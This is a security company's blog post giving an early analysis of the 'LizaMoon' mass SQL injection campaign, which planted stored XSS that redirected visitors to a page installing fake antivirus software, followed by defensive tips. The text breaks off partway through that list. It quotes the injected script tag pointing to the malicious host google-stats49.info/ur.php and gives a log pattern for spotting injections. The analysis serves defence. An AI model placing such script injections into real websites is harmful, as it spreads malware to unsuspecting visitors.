While I will be posting a more in-depth analysis of the LizaMoon attack, here are a few early thoughts from Dave Pack while his blogger profile gets set up. Dave manages LogRhythm’s Knowledge Engineering department and has been working in information security and advanced data analysis for over ten years.
Various security organizations/bloggers are tracking a mass SQL Injection currently being called “LizaMoon” (one of the first websites identified). While we haven’t a chance to fully analyze the attack, based on information being aggregated by SANS and Stackoverflow, it looks like this is a combination SQL Injection/Stored XSS Attack, the final target being client-side end-users. It appears that the SQL Injection is taking advantage of a web application vulnerability.
The injection itself is delivering a Stored XSS attack to the vulnerably web servers, consisting of a script (< / title> < script src = http : // google-stats49.info/ur.php >) that redirects unlucky Internet users to a different site hosting a file named ur.php.
This php file is where the dirty work is actually done. It launches an exploit which installs fake AV software on the end-user’s machine. What’s really interesting is that the SQL injection is really just a means of delivering the much more dangerous Stored XSS to vulnerable web servers. Stored XSS are much scarier than a standard Reflected XSS because a user doesn’t have to be tricked into clicking a maliciously crafted URL.
The XSS attack is simply sitting on the web server, waiting for any unlucky Internet user to browse to the compromised website. We’re attempting to get our hands on the ur.php code for further analysis of the client-side exploit, after which one of our analysts will be posting an update.
In the meantime, here are some things both web administrators and end users can do to detect this attack and help protect against it. SQL Injection: 1. Implement standard protections, such as sanitizing all database inputs and using parameterized queries across the board, to limit what can get through. 2. Check if a web server is being targeted by most types of SQL injections. a. In particular, look at your access logs for “)-“ in the URL.